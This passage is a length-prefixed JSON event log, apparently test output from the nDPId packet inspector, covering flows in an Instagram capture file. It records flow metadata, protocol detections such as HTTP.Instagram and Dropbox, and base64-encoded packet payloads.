QYypJ1SxNuFf7ipCmk04L+GHAHnQ6mLyC6JBPiJgfJsGpQV6mxskVsJpu7sPTN6RtE7pZtcoZHQNAWoJC3gsA\/KDiiIBi8jlBaiYJHfLadcboyQmUivmc5GMWbpyT9lfrovKfQ9yyNSQziBIQm0YK5SD0sJbBAeNCAQk6mRiJFMH14Bm43IKwmpR8ghNhVHoyZyj4rKHcUOg8ZfgqIU3\/EJzuqKTxF5hlpyS3PAhKDJ5+N3sWF5jbfvkJcDRJCPJDFYcdxdgM77giYze72cY8nTfqmDxjHjRLQK2D4j55qQzvfg4bmlzPGE5eQXUQu5PE66mMJYmVSjWT2aSIiZSZKxj7DP0bsMZQcWA4uMrZxzLyAbwOz2yDif4QVaAdxWyL+ScPWCf0b0v8b6fIaW3R2BvPJAOFpyNvm3j+2WSeYfsd+z8oFhLeUK6sMwtmj7T7cbkwpZuEDtDpnhIid5BCI6ZEANhNOfx9b9EKTSwx+jAiwYFUkZQMMfQAJRyQCkLCg4jIVfNElMHy65ZPBhFIIsCdi4+MK57ROWTh2ebe08z5xT48IeWoh\/HCCiqCGdRYkTFZSHkUOR6eB1L6C54WgYbFbnGw9gVeE4PVyR2Dylm5RMfmi5IDm\/AlZEfGHoYbHEW7LQxlVM6S2bPtMCKN+sLVEmoTWXyjsGC\/rmVQHAIEuXiwMHg70ozM2HgZQUaYXyMsJSrsZZP+X2Oydj7cNgfElBIbDUAwz3wdNDCZ4XX5calgvOKdOD14M0oRP6jlprycPsadHBl6IwASjudsRIuDTEvBLuG4C4KcDy9xj0OtAUWj+XcZM="} +02341{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720901,"pkt_ts_usec":189271,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+nIdAADkGdE9NQx0RwKgAZwBQhLjz7F\/L62Gko4AQAq9JsQAAAQEICmShsDcAA+ufamAzJyIRNISCjC4EJNlu5XpA1jlANKhYbuWWh15TI6oFianASnO9KRfh4OvOUZcAEIfKuPH8PsBL5SbfZjyGPOz3tzwUFQgq2OoxN+T1DvZiAL+uIvSDTecjGkaCfK6FRAjdkjuDbI6Kkh08L\/SAGbAIT+6cWfhEizekY+Mdk8El4zesZNgPJ38lck1yRjhuR9xnRt0e2HcFnY0ArSxdJwR8SABGZiLmkV8GpuZQa\/hA4WffBlsdMMtlM14NlPH55FGPg4ovFhAUCGChBTTt179pGV85OFg+WCNcj1GxvhWDhyZUvKFyB0plXoW6\/IAaGCe7j37THzPcNGDBrIHhIyBqc2o6lG7OhtOHNW1Z8UcXa2zQwIdGzrjxADbLGScnOYY6L4FusZ75fsz7b3IQe0FXVgzATwfAoBiazENzs2xB1BHZhkVsE2GMseNWM\/kNRDHyGtUQ\/WDG8gfoldcAFLtAj+LgouIkn62A5I\/G6s6wgNwAiES4tjpkLGAjodGPIDinTK3XciChggwFZunzTDNmVVIdlNiLPew\/JLN0FzZgqLtDSb0mnYTmnDrQVjbBZFyArGwbVtmLDETze6kGSIW4HZWC9b45Bz2ptng9C8hNs3vaY2VZ9WethY1PgzzEAMIRsxRRNERr0cECHUw1VcB7xJpsTzwNAVLduEHfYyYpJJXVBZ0D8GniRo5zYO54qcG5NMAF02Hc2e1jcZQlDTfYaKEEhOozABA7Ag0RzexkItAI43z2CfqodwNbLmS9eZa2B+kidvzkrvZP98JIyvlBNLHUzIHJJnSyy3JLEY4j+7ABPelwEw5rSGAD3BnumCErSBIQGgVOXozYJrbglhfSZ0I\/Wv5FHhG79Kvu3r3HptnyAXEK+FKE0OTfRW\/jBnF4k3Hj3S69CxtCEtV7Y9XvCcovG\/QlMG3jgxcJ4bdIkZlAHydVvKsXQdGtmUvUPBYZ7xJPey5o2NvsgieGqsGhWitbAUDUCQ4WAZ2yHFDcLjQR1AB8Zh9EseRiCBCTRqHboaIGcZw8R2YwCADWnDZRjf3LecsDLrqRhNdgiUG7hITB2NJD0l\/iMcZfoJ0jCAEw5EvNpMhB9PA2BkjRNNI+LGEFoFHCwjHNBOgm5TukXFmhHroAsQjA0AlJRZKNFzOsXZZ6Na6lUuxGAoPW49Md6PUobNTBpvSJg2QgTif7E9ZoyL8zj\/xharZz2rRTpgXc7VGQD0XJy6Hyk86HKz5kbDAOLRcZhM9IZn8Y0NVuSBLkrbOSDDOmCdJ2CKO0ZmhjYCWhxa4V3r0C+pmq5A6LaUTuGmABxh2Vnt2Cm8tLuB0Cy43yzD4KEjBDjO+6EnpOXotjSPNH1M4kYCKh2wQnlTGnAcLYJmSoYxEbw1ZPxmfE2t3zhiqmdKbyGkZY\/bfTQxmSA6kwlLEQVA+AiZ0oGaM4NRGzpindhALRQT2ZmCDsiHkQcCuYdeB9AJsRPlFr0Li5Rxl4OI0sIMFLE7VOIdgFAnpi+NsQgqRSeKOHHSZFM3eFhAAexPpj6Up0rgomOhNiCRueF13qy5sgVykABArqsg7LsWhtp2Jaw5IJAqA+oUKyJYAoFfAm+q4wCmHW7YpblneqTw8VbPmdzUUesHLQAg7Q2RuOZ4b\/AIJskbcZAb5BRl43hGxdeTv4kVYM38JbiX0YTTBliizZyU4ELBTQFB\/EHBD28Zh0TpbMscYHcszgRPTDOdmunujgDWwOQZlmyic3MlCrFrEBBYjoR0fNuDNbsGDBU0bBDBw0JkW7rnhC33OL9VeQ2ADEInZXyLBot88VRcmzSH9gmnHTsm9WXoOw9YmlNB8EuAg8Nc6UnRlxJ8WyNoa7USeTzjiiDhNAc0wFrBcZWznq+b6I7xO4MDEsFeE="} +02346{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720901,"pkt_ts_usec":189302,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+nIhAADkGdE5NQx0RwKgAZwBQhLjz7GVV62Gko4AQAq94qgAAAQEICmShsDcAA+ufnyVwCJctLTQPdBPyjsSI47nQsIW5zSaP\/Bg053gaSip5cipBKooeEGphrkgYYI9wzmMlPsIngHtRPBtIcajSKSH+plqexY9BsImIcu0bFrKO+pGQckTK3MI0ZScE2OuoRVUYGk6iXKigH0w0wAahr0ngoM3Je4+jjM6TOieZrNm5tILGtkpEj5azB0lpiwx4VghIp0PKmZAdqRVY2fhmqDdIMm3tp+f8TdckCn7jvSEwsJ4bMRM0MknyN6WvibDxoMKcwtLZvkFNzsq+qFx8NMtXVtjJakEB+2XVxbNGBA64KHm1gdDiRnh0j7QrWxAebJ0FtMiMxouhIM3h7oC51TCMS1nT8MF\/Np8jWiIstb2KBmxrYwwUyBPBBpoM2nT8LyIxrfqgErx1Zgs+PFiC\/OTphCJ62mtg0nBLo4TgM20bXwQgs4RO2vPqtINqJHy8CNP+IaDjRKGdGegIjIrUdiAlgyI5PQ2O2N1laVaZVR3WHYbjzRoG\/BBUyAp7ryDOPTh6Z0bj5\/m452OGzooVRVCDnjTxpu\/LW8uhbJ\/mEPAsCD5smIBOM3PrOZpgRGlomMOfLb+SDyTHfNJohQQ7AIgtIEimrsPpFkHtyBgzhV+H\/IyDpfJpku14IHVu1bSdtGQ37BsbIA6TqRvCDIX2NTpy6MIXOXRuGw6SBRDjdmruaZvxoH4xEF\/wnq+AJsHEEYRgwKQpFc+2TrHgLekSGg10LYS+ROqMPxhnSQ4pIZpkLWqwTi70PBB8RIbjDN2aA+TQJsCNo1NmCARS8l98nBSEiGwI6VgxALN5w9UpkbNO5mo0V0BiNekfotHsGh4EAYcxLkze7azCV3wvcb5BfO2YQGsYaZFhvaHMW2yX2xYEG4LqhODbkAPyB9YMbpfnZf5xEQXduCNQMIm2g9VrAkB9Q3dilFrQjDw5A4PAQ1fNFBJwZy6MSDYAuilIq3XJPMBnsPhxp0IkTniQfwzF5x+I0U0xbDKgtwapgEOhYQvWtWYkch5DRtigzzjFAyKdhN8WRsAgB0jFFVmkTLcQUGWvkFHV9dxQVZQYjncWoikcyBP18lZfxQpTkwjZZFSAEhf+EQaDbJE5KhoVnABvJY6XwAhpNsNwXYbxuFKd+A1sJMW5CrY9unbWGcF1bALcSNLxZ4GRob4Qc6QsgmDZgd28TRAM3C4dF21nJ4dYR3WR\/LeAy3Ft7jaxHYR+Ii\/UngKzPqLec0Qk5855tYjgt5FQhQwA0NNRVTmgBhFR3w2yYuvENcV\/TMU81j2INrEqnm1yBei3mcQdbyylZKEQNKGvtF5T\/LT5swwCMgl2yeATxMY8e1hDTCeRBBQo8G0VhlL5A7jGNi0YZfkUDEYaYcsAI2MGN8ti+M+aNggTBWyn7MEj7AW\/WCNEQTgDjJlYpNJMkPADYMJOLAb+yx5tmjXm8UEJrIH7PIsfft2AlTQdtuCmrfGyPNGZwQ9j0CQCwpplHGQJBhzsEmsIBO+\/3HPC3YeTp14h4l\/4T92P7bcQscSxwUB\/x9wwvHTPCVHfKl2\/rhHFEHl0oRVjcfZ+yx9vqfS0zfhciaIEFOIAdN9MNIKXM3zre4LqbVdARQkhj8WCgfi4DyDwrRyYlKBZ471QOQwiwUM74OIzWkwQZiYliES+LFDUnbKW7ASL5kpZGj8KbGycbGGbsc+Boj4vncdJqgDhmN7nGVKL7J9c3hv1ekjuF1GXjzU5AOJeQqsZ4jDU4w\/Mb4stHk0GlpYiHC7JNHYG+Yf2aBsMWnWIwW4ce5wL42wx4OCWSSmf8BmclPCwmZJGvngA0DguyaLVSagJdWsLxAEoGFhFaCbFIWOI2pSwI+6MOwxb62fd8\/1JnRZaRF41QoLzzJmL3\/ockKKy17F1crgavTE="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":262,"source":"instagram.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1436720901262,"flow_last_seen":0,"flow_tot_l4_data_len":290,"flow_min_l4_data_len":290,"flow_max_l4_data_len":290,"flow_avg_l4_data_len":290,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.153","src_port":37350,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00774{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720901,"pkt_ts_usec":262544,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ABsv8H60QPMIw47hCABFAAE2VBZAAEAGt67AqABnUlUamZHmAFCdoJYSxR9Z0oAYDfbnvwAAAQEICgAD66tZ6cc2R0VUIC9ocGhvdG9zLWFrLXhmYTEvdDUxLjI4ODUtMTUvZTM1LzExMjQ4ODI5Xzg1Mzc4MjEyMTM3Mzk3Nl85MDk5MzY5MzRfbi5qcGc\/c2U9NyBIVFRQLzEuMQ0KSG9zdDogcGhvdG9zLWEuYWsuaW5zdGFncmFtLmNvbQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogSW5zdGFncmFtIDcuMS4xIEFuZHJvaWQgKDE5LzQuNC4yOyA0ODBkcGk7IDEwODB4MTkyMDsgc2Ftc3VuZzsgR1QtSTk1MDU7IGpmbHRlOyBxY29tOyBpdF9JVCkNCg0K"} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":262,"source":"instagram.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1436720901262,"flow_last_seen":0,"flow_tot_l4_data_len":290,"flow_min_l4_data_len":290,"flow_max_l4_data_len":290,"flow_avg_l4_data_len":290,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.153","src_port":37350,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Instagram","breed":"Fun","category":"SocialNetwork"},"http": {"hostname":"photos-a.ak.instagram.com","url":"photos-a.ak.instagram.com\/hphotos-ak-xfa1\/t51.2885-15\/e35\/11248829_853782121373976_909936934_n.jpg?se=7","code":0,"content_type":"","user_agent":"Instagram 7.1.1 Android (19\/4.4.2; 480dpi; 1080x1920; samsung; GT-I9505; jflte; qcom; it_IT)"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":303,"source":"instagram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1436720906017,"flow_last_seen":0,"flow_tot_l4_data_len":111,"flow_min_l4_data_len":111,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.106","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00550{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":17091,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"\/\/\/\/\/\/\/\/ABZEH1lmCABFAACDA5AAAIARdcjAqABq\/\/\/\/\/0RcRFwAb\/+ueyJob3N0X2ludCI6IDQxMzc2NzExNiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDA5Mjk0MDNdfQ=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":303,"source":"instagram.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1436720906017,"flow_last_seen":0,"flow_tot_l4_data_len":111,"flow_min_l4_data_len":111,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.106","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00550{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":19075,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"\/\/\/\/\/\/\/\/ABZEH1lmCABFAACDA5EAAIARdcfAqABq\/\/\/\/\/0RcRFwAb\/+ueyJob3N0X2ludCI6IDQxMzc2NzExNiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDA5Mjk0MDNdfQ=="} +00550{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":20631,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"\/\/\/\/\/\/\/\/ABZEH1lmCABFAACDA5IAAIARdcbAqABq\/\/\/\/\/0RcRFwAb\/+ueyJob3N0X2ludCI6IDQxMzc2NzExNiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDA5Mjk0MDNdfQ=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":306,"source":"instagram.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1436720906022,"flow_last_seen":0,"flow_tot_l4_data_len":111,"flow_min_l4_data_len":111,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.106","dst_ip":"192.168.0.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00546{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":22462,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"\/\/\/\/\/\/\/\/ABZEH1lmCABFAACDA5MAAIARtB3AqABqwKgA\/0RcRFwAbz4HeyJob3N0X2ludCI6IDQxMzc2NzExNiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDA5Mjk0MDNdfQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":306,"source":"instagram.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1436720906022,"flow_last_seen":0,"flow_tot_l4_data_len":111,"flow_min_l4_data_len":111,"flow_max_l4_data_len":111,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.106","dst_ip":"192.168.0.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00550{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":24293,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"\/\/\/\/\/\/\/\/ABZEH1lmCABFAACDA5QAAIARdcTAqABq\/\/\/\/\/0RcRFwAb\/+ueyJob3N0X2ludCI6IDQxMzc2NzExNiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICIiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsyMDA5Mjk0MDNdfQ=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":308,"source":"instagram.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1436720906025,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"192.168.0.255","src_port":520,"dst_port":520,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":25422,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"\/\/\/\/\/\/\/\/ABsv8H60CABFAAA0BsVAAEARsaPAqAABwKgA\/wIIAggAILagAgEAAAACAADAqAAAAAAAAAAAAAAAAAAB"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"instagram.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1436720906070,"flow_last_seen":0,"flow_tot_l4_data_len":645,"flow_min_l4_data_len":645,"flow_max_l4_data_len":645,"flow_avg_l4_data_len":645,"midstream":1,"l3_proto":"ip4","src_ip":"31.13.93.52","dst_ip":"192.168.0.103","src_port":443,"dst_port":33934,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01261{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":70589,"pkt_caplen":679,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":679,"pkt_l4_len":645,"pkt":"QPMIw47hABsv8H60CABFAAKZYWZAAFUGhKgfDV00wKgAZwG7hI6seG5hv38UHoAYAGuTKQAAAQEICltMYqkAA+18FwMBAmCl7hwsC927JcFSAZYWLzz9PCOE13q\/R1R\/4Ep\/l7+HHbIpOFFcCYs42I3wFOgWiBw3wjx3pJOgTGydZF67jt6\/BKND+v8oyfRpnqlS5YMAWUNymHV7uHWxp+hxonkw6cNC93nRZtrxzkz6LP0NT0kghBPZC1Qj+5R6TJU9O4JNVgnaOk7a2PLjjlpxNviWyDprqQXVx0ggqtiTSBMr7Uc5EfDpzAAkL4Ijs+Gp7u5RRsTL\/vjjpIbFtLB91jbWUmuE049zO8Z0ZXe+NUKtpOUeDZz+3zpQ7uf3ydorfitQX7zdybIk3\/bzSVhOShF3BJrYBLAD2AQ24us0\/KfVGECFrd6OK2BQqjf6ncI9qOXNwiVF\/2inbzY\/Q3OsYRcS7XHEaq0O5REHcT8SzE5VoLX4XXQtBoZwVB5Yrj77GtBQdmGZD6u8UMQpctBx6N9Mr51OWWfdFnAbts6SnZuXGzlYjqJOxS7Vx73Uw8fCkf1IEri8UI1qbM9veDNciQdo3CmVyvU7iM87rUz7C0f+A4f1opsUJ5+EheBr1eGc36Efb4\/Ualnnz3nkJR3hncStDick4US+OxlgvGof266YJgZuAwCGxYg4vW2knDKYz5umzCws7lIHpIdAFNPByVtoUTPTPQS5UKgIEdb95j7F6DccGwtWvRW1Al5LucPJI7zWS2dtNSdT\/Ojj1Rno0QRGwZ45j0In5POotAgCjk30MTwIN5HhcpigFfTCmuPMsYmTn6MoC7DboyOfYCjSc6fhkNqfZ2xyKSzKyqklgdTHeGfRwO+op5ygRsksmKTJ1Q\/4mw=="} +00427{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720906,"pkt_ts_usec":70741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0Ga9AAEAG48TAqABnHw1dNISOAbu\/fxQerHhwxoAQAW09dwAAAQEICgAD7YxbTGKp"} +01730{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":201021,"pkt_caplen":1015,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1015,"pkt_l4_len":981,"pkt":"ABsv8H60QPMIw47hCABFAAPpGbBAAEAG4A7AqABnHw1dNISOAbu\/fxQerHhwxoAYAW1v8wAAAQEICgAD7mFbTGKpFwMBA7AOHMI1ALyiYU3ya6qg+prWQI\/n9ANspqMl7L4ePI46MbeMU\/IIKBcoHTRp\/G5Sihc5nIJHuC2+37mEcl691gW4u\/TM4cTkpTf1jvX2GQ4y6\/txghh7z8FoXfNbqCHIq72qOYxX78zowj+FiMRcWPEmeWcWoH+gdWfhPA\/lkpOWh7PAWcTM6YhVbfKMzFVog0eNO6nAQ6Db4QV49GBIVCzfrXCBVeXZAcW0CL72bBYmhxsuCeKWPO3s6v5st61\/TqBX2wKyuhuh0iYRoQoS\/wYMoppq1iw5UM\/55LosXWjVhX+LnpSLv52m8IfyQkh1vrv+SJ7KjFgIF5haejMGRgEB6k28tUeT6FGaiUo32klBF\/ovhJ\/7PzYE5+p1Zs2WdUsskxD79HTvK6ta+oXXgI8zxnT+FY6f4Y3Qg+b6yTS68sbWyHT6\/PezdvhWfHtL0SSgHp8goibROD\/tT\/ewXwhvrOEixGKhip+cFDAiL8AxMi3V3Lo6cis85J1puKveGyk09JQyFUAk\/2r5Yl++ASyNB2yelevEI5wg+VsEb8Rcm\/QA7noQyfs1T5YOnO8NCBiPmye5eIk\/wZxnX1f+2xdUrgycDikO6k0cQg3utcfRP10t4qmvTrg2ek70WkuE+ATLg2Um1eRaeb81BxGpDBojTreWbcm5dcICJMpu5Jn\/w\/\/OFgLDd8zIcqEDUouT6ZCScciar49BKHurWy8NKFla9SI75KJQz9yq3QZyAG0rJc2lhQMyl9+7b4Ogizx8Jo29kTu8fZJSlg+ABrC1jcExXQD49OmAnZxwfKy6D2pC9Rse0qtqmzV+ovVEbJp+oxkyoXka2nmc36kfQhlZgI7KVixFLMTTlCevMnYrq1xJ\/MKzvCd6IWf+N5EocWD+ilOqptHNEIAOXJmgXODhL5KGWjQb8\/91W1IyUi6q\/ngSGvVRUpY8iujk6L\/C+Bbj\/Dm4AkcumBcragxaghvlWXmc47QSkqomVkZppr19doVE596Z\/iAcdVNMq1wy+2v27UYh5CMr3l5X59P07fb7g36BHbE7SHRjrHyy9CTFMxhEf0YgUq5TdIHDFI5lE\/KxLNZVidU3ki5Un7VFtJrfQka6os1jVOGfB9pUZq5Qsmwf1i\/ygu+C28zlN53MQWP6wHjI3WJZUBr81SukNH57IK2c2EyIu0E+HAgTgoJHe51A\/fUmZ1cYv7+JWrlM8pRHdKg4V83a8+0QRZUGb14qwNk4zB82iOuTyKlfeqGDo1mtsQ=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":312,"source":"instagram.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1436720908216,"flow_last_seen":0,"flow_tot_l4_data_len":981,"flow_min_l4_data_len":981,"flow_max_l4_data_len":981,"flow_avg_l4_data_len":981,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33935,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01719{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":216981,"pkt_caplen":1015,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1015,"pkt_l4_len":981,"pkt":"ABsv8H60QPMIw47hCABFAAPpl5BAAEAGYi7AqABnHw1dNISPAbuBQH+NqOzE9YAYAR7+6wAAAQEICgAD7mJbGFWXFwMBA7DGXKcxYYzj4PsFQPMmYQehh8iuvFDU6ChyMypfRInDCFuixSLIKOq63dIUv38njMJN2kVy\/t+T8m9xPVbEGAFdD3PpSc3SZZnBHiv5tCRNZzMhDLWXPkOIN9Lutipqd5IVnEEsBFkO\/fZ2K81T8PYPXOUELo\/sV11FwruvuAKdrrJSJDxsNb8ZavjfuhrjTCNZ8992aq+Ku9jOSU4Xa7Q\/BYCty1PvPxxBeD0eYCG+tOtkysHtjUZlr1d4OQxDr\/61YS0x9iJOXjnMBoobCu17VKBkd2hUXNptzi\/uIUhzamB9Rremxs\/xa5ErUN6bjCfTqClJMKTo2+EPLLC2OrnUwhZPfwAqX4LMjZxrO4OjWeKTq0PJEWrYJt\/hZgR9r16F85siGrf6FK1kTDvb0+vybKakTv5L4R+tKZVBNuaZabfxVkkl5TNMskAuzgaRl4NAmD9vaxsUvWa1r1eavZpU2b4i3TllipunjR4aQEFb47bl0X9Ru9Hl1x54J53nJ+MJknrPmdJbHBa5kRwAqKgaQptXtnMz1WTWV+Q8a53Upaic+O0txvujdC90+KUOiiTbhfTw0gAmNmPQmi2l+V2tphQpp2jEsWxETCl2LSUnlcR9XDLGnBO3KYnN9C0+k2yBKCMObHAcOzwdJWheAOhMNBVSNpFtrfOE6uSTsVbDj23xeCxxC1QAM7YJmxoVRhtdVyIDYYANmHTFeA\/uC6oLDeExrKyQP7kSEfNbdUqTNPu\/MJKIjJDZu1yLmyvi1O\/nGho5EDKw8IVXPxnfKKPvaQH2GtI88pEfGeAEyC\/HE\/tmFwWll7dh2qPp5A3wF8sKJ3O0eDAbcGfPED7oJA+EsxJAhKT6isvErCueBtWMHVSeiLsoME8tf6cS9zzgnk33LczZTQgm29MSHE7ZL2GeiGbzuGwrTGDnk1VDLJRove2wMug8H7\/TzDu7ltmYb22OyZHWPR+qBc0SXnC41HvKpdG4l5lloyRu51PXhn1Z4SBmRKxgHOd10WPpGH9Et\/GeMS7LFYrc7oqcb6G7UCvo5VgI1SuJrJeY0vV2tCM0MyJYykeRmE4\/7F1xpcmuoE1e5ET3+6eiLGpqXUS7VkABwgQafZxjQScCWI5pekzUYOfjX5epPROl\/DzQKTCdpj3Gvhf2XBY54ImjWPLE32kUQllKDfXNIYtYFjXJbjsc4Zka4\/X4kGWgbCWN+dmnakKME8cbt\/+4rEk8PQFIv1W4FPcpki7hccXc0xhFEqm0Sw=="} 